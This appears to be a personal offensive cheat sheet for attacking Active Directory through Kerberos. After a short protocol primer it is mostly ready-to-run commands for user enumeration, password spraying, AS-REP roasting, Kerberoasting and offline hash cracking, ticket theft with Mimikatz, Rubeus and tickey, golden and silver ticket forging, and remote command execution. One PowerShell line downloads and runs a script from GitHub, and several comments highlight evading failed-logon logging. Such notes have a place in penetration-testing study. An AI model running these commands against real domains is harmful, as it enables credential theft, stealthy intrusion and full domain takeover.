KERBEROS
General & Theory
# Kerberos is just SSO, it's like SAML or OpenID.
# Authentication to a trusted source (KDC)
# KDC delegates access
# KDC = Key Distribution Center
# AS = Authentication Service
# TGT= Ticket Granting Ticket
# TGS = Ticket Graning Service
# In network, protocol used is KRB5
# TGS are for resources, not hosts
# Authentication Process
# - Authenticate to AS with a password → Get a TGT
# - Request access to resource from TGS → Show TGT
# - Valid TGT → Get TGS
# - Show TGS to resource → resource accepts TGS → Log in
# Each resource can check for valid TGS → Privileged Attribute Certificate (PAC) → Addition to Kerberos
# NTLM Authentication
# - chall/response using NT hash
# - NTLMSSP
# Communication with DC over NetLogon (RPC)
NTLM vs NTLMv1/v2 vs Net-NTLMv1/v2
# NTLMv1/v2 is a shorthand for Net-NTLMv1/v2 and hence are the same thing.
# However, NTLM (without v1/v2) means something completely different.
# NTLM hashes are stored in the SAM or NTDS database.
# It is LMHASH:NTHASH
# Net-NTLM hashes are used for network authentication
# You CAN perform Pass-The-Hash attacks with NTLM hashes
# You CANNOT perform Pass-The-Hash attacks with Net-NTLM hashes
Kerbrute
# Bruteforcing Windows passwords with Kerberos is much faster than any other approach
# And potentially stealthier since pre-authentication failures do not trigger that
# "traditional" An account failed to log on event 4625. With Kerberos, you can validate
# a username or test a login by only sending one UDP frame to the KDC (Domain Controller)
# User enum (valid/invalid)
./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
# Password spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
# Brute force one user (take care of policy!)
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman
# General bruteforce (from username:password wordlist or from stdin)
./kerbrute -d lab.ropnop.com bruteforce -
Impacket
# GetTGT
# Given a password, hash or aesKey, this script will request a TGT and save it as ccache.
getTGT.py -hashes lm:nt domain.com/user
# GetST
# Given a password, hash, aesKey or TGT in ccache, this script will request a Service Ticket and save it as ccache.
# If the account has constrained delegation (with protocol transition) privileges you will be able to use the -impersonate
# switch to request the ticket on behalf another user.
getST.py -hashes lm:nt -spn cifs/contoso-dc contoso.com/user
# GetUserSPNs
# This example will try to find and fetch Service Principal Names that are associated with normal user accounts.
# Output is compatible with JtR and HashCat.
GetUserSPNs.py -dc-ip 192.168.168.10 sittingduck.info/notanadmin
# GetNPUsers
# This example will attempt to list and get TGTs for those users that have the property
# 'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH). Output is compatible with JtR.
# Get TGT for a user
→ GetNPUsers.py contoso.com/john.doe -no-pass
# Get a list of users with UF_DONT_REQUIRE_PREAUTH set
→ GetNPUsers.py contoso.com/emily:password or GetNPUsers.py contoso.com/emily
# Request TGTs for all users
→ GetNPUsers.py contoso.com/emily:password -request or GetNPUsers.py contoso.com/emily
# Request TGTs for users in a file
→ GetNPUsers.py contoso.com/ -no-pass -usersfile users.txt
# ticketer
# This script will create Golden/Silver tickets from scratch or based on a template (legally requested from the KDC).
ticketer.py -nthash <krbtgt/service nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser
# raiseChild
# This script implements a child-domain to forest privilege escalation by (ab)using the concept of Golden Tickets and ExtraSids.
python raiseChild.py childDomain.net/adminuser
python raiseChild.py childDomain.net/adminuser:mypwd
python raiseChild.py -hashes LMHASH:NTHASH childDomain.net/adminuser
# This will perform the attack and then psexec against target-exec as Enterprise Admin
python raiseChild.py -target-exec targetHost childDomainn.net/adminuser
# This will save the final goldenTicket generated in the ccache target file
python raiseChild.py -w ccache childDomain.net/adminuser
Technical tips
# All the Impacket scripts support Kerberos authentication as well:
# -k -no-pass
# must specify host as FQDN and user as realm/user
# MISC
# - NETLOGON is inefficient (SMB, rpcclient)
# - RDP is slow
# - LDAP binds are faster but still result in event 4625
# Ask for password
kinit user
# Events ID
# - Failing Kerberos pre-authentication DOES NOT trigger a Logon failure event (4625):
# - Have to manually specify event logging for Kerberos (which is in a different location)
# - If you're only logging on traditional “Logon failures”, you'd miss this.
# - Now failures will be logged as event 4771.
# - So Kerberos pre-auth is a faster and potentially stealthier way to bf password.
NTLM Auth Disabled
# Some orgs have fully disabled NTLM and rely solely on Kerberos (it's rare)
# - A lot of pentest tools don't operate well in these environements
# - MSF, CrackMapExec, etc. cause they rely on usernames/passwords or NT hashes
# - if you have a password you can always do Kerberos auth, just exchange the password for a TGT, you can also “overpass-the-hash”.
# SMB Error “STATUS_NOT_SUPPORTED” = NTLM Auth Not Supported → Kerberos
wmiexec.py domain/user@hostname
kinit user@domain
KRB5CCNAME=/tmp/krb5cc_0 python wmiexec.py
Password Bruteforcing
# Password bruteforcing
# - Care at policy, lockout is mostly at 3 failed attempts.
# - Windows security events are logged for every failed login attempts.
# - Usually tries SMB and has to set up a connection at every attempt.
# - Horizontal bruteforcing is a better approach
# - Choose 1 or 2 common passwords, test them for every domain user
# Password guessing with Kerberos ! Only 2 frames to check password and it's UDP no TCP overhead.
# https://github.com/ropnop/kerberos_windows_scripts contains scripts to BF password using kinit !
# It's still lockout account, putting DC as an IP address saves us a DNS lookup each time (even faster).
script.sh <domain> <DC> <userlist> PasswordToTest
Service Principal Names (SPN)
# Service Principal Names (SPNs) are used in AD to tie services into Kerberos authentication
# Common SPN directory: http://adsecurity.org/?page_id=183
# To find SPN you can use LDAP:
ldapsearch -LLL -x -H ldap://pdc01.domain.com -D "user@domain" -W -b "dc=lab,dc=ropnop,dc=com" "servicePrincipalName=*" sAMAccountName servicePrincipalName
# You can request a TGS for a SPN, e.g. to access RDP, use TGT to request TGS for TERMSRV/PDC01
# The TGS is encrypted with the service accounts NTLM password hash.
# It's possible to crack TGS offline, but cracking a TGS for a service SPN is generally useless UNLESS the SPN is tied to a user account.
ASREP Roasting
# AS-REP roasting is an attack against Kerberos for user that don't require preauthentication
# During preauthentication, a user will enter their password which will be used to encrypt a timestamp
# and then the domain controller will attempt to decrypt it and validate that the right password was used and that
# it is not replaying a previous request. From there, the TGT will be issued for the user to use for future
# authentication. If preauthentication is disabled, an attacker could request authentication data for any user and
# the DC would return an encrypted TGT that can be brute-forced offline.
# Using impacket
# check ASREPRoast for all domain users (credentials required)
python GetNPUsers.py domain/user:passwrd -request -format [hashcat|john] -outputfile outfile
# check ASREPRoast for a list of users (no credentials required)
python GetNPUsers.py domain/ -usersfile <users_file> -format [hashcat|john] -outputfile outfile
# Using Rubeus
.\Rubeus.exe asreproast /format:[hashcat|john] /outfile:file
Kerberoasting
# For service accounts, it's common to set SPNs to user accounts, the TGS is then encrypted with the user's NTLM password hash:
# - It's called “Kerberoasting” and presented by Tim Medin at Derbycon 2015.
# Kerberoasting requires a valid domain account.
# Three step process:
# - Find SPN tied to user accounts through LDAP (service accounts)
# - Request a TGS for each SPN
# - Crack the TGS offline to recover the service account's password
# Impacket makees this easy with GetUserSPNs.py
# Will automatically LDAP query then request and TGS in JtR/Hashcat format.
GetUserSPNs.py -dc-ip 10.10.10.100 -outputfile kerberos_hashes.txt -request -debug active.htb/SVC_TGS:GPPstillStandingStrong2k18
# You may encounter issue with timezone, you can fix it out that way:
• service ntp stop
# Comment server line in /etc/ntp.conf
timedatectl set-ntp false
# Get time of the target:
ldapsearch -LLL -x -H ldap://10.10.10.100 -b '' -s base '(objectclass=*)'
See this => currentTime: 20180921143415.0Z (21/09/2018 at 14h34m15s)
dpkg-reconfigure tzdata (define None of the above, then GMT)
date --set="Fri 21 Sep 2018 14:35:00"
# Verify using several times “date”
# Once you get a TGS you can crack it that way using either hashcat or john the ripper from bleeding repo:
# You have to be in that folder /home/user/Desktop/Certifs/OSCP/Tools/PasswordCracking/JohnTheRipper/run
./john --wordlist=/home/user/Desktop/Certifs/OSCP/Tools/Wordlist/Bruteforce/rockyou.txt --fork=4 --format=krb5tgs /home/user/Desktop/HackTheBox/VM/Active/kerberos_hashes.txt
# Now you can perform such attacks without having access to LDAP
# The mentionned version of GetUserSPNs also patches some common errors
https://swarm.ptsecurity.com/kerberoasting-without-spns/
# If you managed to extract user list before, you can use it
GetUserSPNs.py DOMAIN.COM/Administrator:Pass -usersfile user.txt
# Over Pass the Hash (how can you do Kerberos auth without a password ?)
# - AS requests to get a TGT, it encrypts the nonce with the NT hash of the password (hash = encryption key)
# - So you can request a TGT with only the NT hash
# Forging Kerberos Tickets:
# - Using Mimikatz or Impacket we can forge TGTs or TGSs
# - Golden Ticket
# - Forging a TGT (and the included PAC)
# - Requires tje krbtgt key, the “master” encryption key from the KDC
# - Can be used to request any TGS from the Domain Controller
# - Silver Ticket
# - Forging a TGS (and included PAC)
# - Requires the machine account password (key) from the KDC
# - Can be used to directly access any service (without touching DC)
ticket.py --aesKey <xxxxxxxx> --domain-sid <S-1-xxxxxxx> --domain <domain> --duration <days> --groups <RIDs> <username>
secretsdump.py --just-dc-user krbtgt DOMAIN/user@IPDC
# Silver ticket is useful for persistence to a single host/service combo
# - Stealthier than Golden Tickets - you never need to actually contact the DC
# - It needs the machine accounts Kerberos key, machine accounts usually end in $
# - You must specify the service you need.
# Called “over-pass-the-hash”, natively with ktuitl and with Impacket.
Speaking Kerberos from Linux
# Tool
apt-get install heimdal-clients
# Setting up
# Add Windows AD realm to /etc/krb5.conf
# You can figure names out through SRV DNS records
[libdefault]
default_realm = LAB.ROPNOP.COM
[realms]
LAB.ROPNOP.COM = {
kdc = pdc01.lab.ropnop.com
admin_server = pdc01.lab.ropnop.com
default_domain = pdc01.lab.ropnop.com
}
[domain_realm]
lab.ropnop.com = LAB.ROPNOP.COM
.lab.ropnop.com = LAB.ROPNOP.COM
# DNS must be properly configured (/etc/resolv.conf)
domain lab.ropnop.com
search lab.ropnop.com
nameserver 172.16.13.100
# Time must be sync
apt-get install rdate
rdate -n <DC>
# Get a TGT (kinit is used to check out a TGT from the DC)
kinit user@REALM
# list current tickets (if all is ok, you'll get a TGT from the DC)
klist
# Now any tool that supports Kerberos auth can be used with your cache.
# GSSAPI = Kerberos => Auth mechanism that Kerberos 5 uses.
# Most tools use environment variable KRB5CCNAME to point to current cache, if not set automatically:
# export KRB5CCNAME=/tmp/krb5cc_0
# smbclient
smbclient --kerberos //client01.lab.ropnop.com/IPC$
# rpcclient
rpcclient -k client01.lab.ropnop.com
Extracting tickets from rubeus dump
https://github.com/curi0usJack/rubeus2ccache
# Run rubeus to dump tickets
rubeus dump /service:krbtgt > output.txt
# Extract
python3 rubeus2ccache.py -i output.txt
# Then load tickets into tools...
Kerberos cheatsheet
Bruteforcing
With kerbrute.py:
python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>
With Rubeus version with brute module:
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
ASREPRoast
With Impacket example GetNPUsers.py:
# check ASREPRoast for all domain users (credentials required)
python GetNPUsers.py <domain_name>/<domain_user>:<domain_user_password> -request -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
# check ASREPRoast for a list of users (no credentials required)
python GetNPUsers.py <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
With Rubeus:
# check ASREPRoast for all users in current domain
.\Rubeus.exe asreproast /format:<AS_REP_responses_format [hashcat | john]> /outfile:<output_hashes_file>
Cracking with dictionary of passwords:
hashcat -m 18200 -a 0 <AS_REP_responses_file> <passwords_file>
john --wordlist=<passwords_file> <AS_REP_responses_file>
Kerberoasting
With Impacket example GetUserSPNs.py:
python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>
With Rubeus:
.\Rubeus.exe kerberoast /outfile:<output_TGSs_file>
With Powershell:
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>
Cracking with dictionary of passwords:
hashcat -m 13100 --force <TGSs_file> <passwords_file>
john --format=krb5tgs --wordlist=<passwords_file> <AS_REP_responses_file>
Overpass The Hash/Pass The Key (PTK)
By using Impacket examples:
# Request the TGT with hash
python getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>
# Request the TGT with aesKey (more secure encryption, probably more stealth due is the used by default by Microsoft)
python getTGT.py <domain_name>/<user_name> -aesKey <aes_key>
# Request the TGT with password
python getTGT.py <domain_name>/<user_name>:[password]
# If not provided, password is asked
# Set the TGT for impacket use
export KRB5CCNAME=<TGT_ccache_file>
# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
# Ask and inject the ticket
.\Rubeus.exe asktgt /domain:<domain_name> /user:<user_name> /rc4:<ntlm_hash> /ptt
# Execute a cmd in the remote machine
.\PsExec.exe -accepteula \\<remote_hostname> cmd
Pass The Ticket (PTT)
Harvest tickets from Linux
Check type and location of tickets:
grep default_ccache_name /etc/krb5.conf
If none return, default is FILE:/tmp/krb5cc_%{uid}.
In case of file tickets, you can copy-paste (if you have permissions) for use them.
In case of being KEYRING tickets, you can use tickey to get them:
# To dump current user tickets, if root, try to dump them all by injecting in other user processes
# to inject, copy tickey in a reachable folder by all users
cp tickey /tmp/tickey
/tmp/tickey -i
Harvest tickets from Windows
With Mimikatz:
mimikatz # sekurlsa::tickets /export
With Rubeus in Powershell:
.\Rubeus dump
# After dump with Rubeus tickets in base64, to write the in a file
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<bas64_ticket>"))
To convert tickets between Linux/Windows format with ticket_converter.py:
python ticket_converter.py ticket.kirbi ticket.ccache
python ticket_converter.py ticket.ccache ticket.kirbi
Using ticket in Linux:
With Impacket examples:
# Set the ticket for impacket use
export KRB5CCNAME=<TGT_ccache_file_path>
# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
Using ticket in Windows
Inject ticket with Mimikatz:
mimikatz # kerberos::ptt <ticket_kirbi_file>
Inject ticket with Rubeus:
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>
Execute a cmd in the remote machine with PsExec:
.\PsExec.exe -accepteula \\<remote_hostname> cmd
Silver ticket
With Impacket examples:
# To generate the TGS with NTLM
python ticketer.py -nthash <ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn> <user_name>
# To generate the TGS with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn> <user_name>
# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>
# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
With Mimikatz:
# To generate the TGS with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# To generate the TGS with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# To generate the TGS with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# Inject TGS with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>
Inject ticket with Rubeus:
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>
Execute a cmd in the remote machine with PsExec:
.\PsExec.exe -accepteula \\<remote_hostname> cmd
Golden ticket
With Impacket examples:
# To generate the TGT with NTLM
python ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> <user_name>
# To generate the TGT with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> <user_name>
# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>
# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
With Mimikatz:
# To generate the TGT with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<krbtgt_ntlm_hash> /user:<user_name>
# To generate the TGT with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name>
# To generate the TGT with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name>
# Inject TGT with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>
Inject ticket with Rubeus:
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>
Execute a cmd in the remote machine with PsExec:
.\PsExec.exe -accepteula \\<remote_hostname> cmd
Misc
To get NTLM from password:
python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "<password>".encode("utf-16le")).digest())'
Tools
- Impacket
- Mimikatz
- Rubeus
- Rubeus with brute module
- PsExec
- kerbrute.py
- tickey
- ticket_converter.py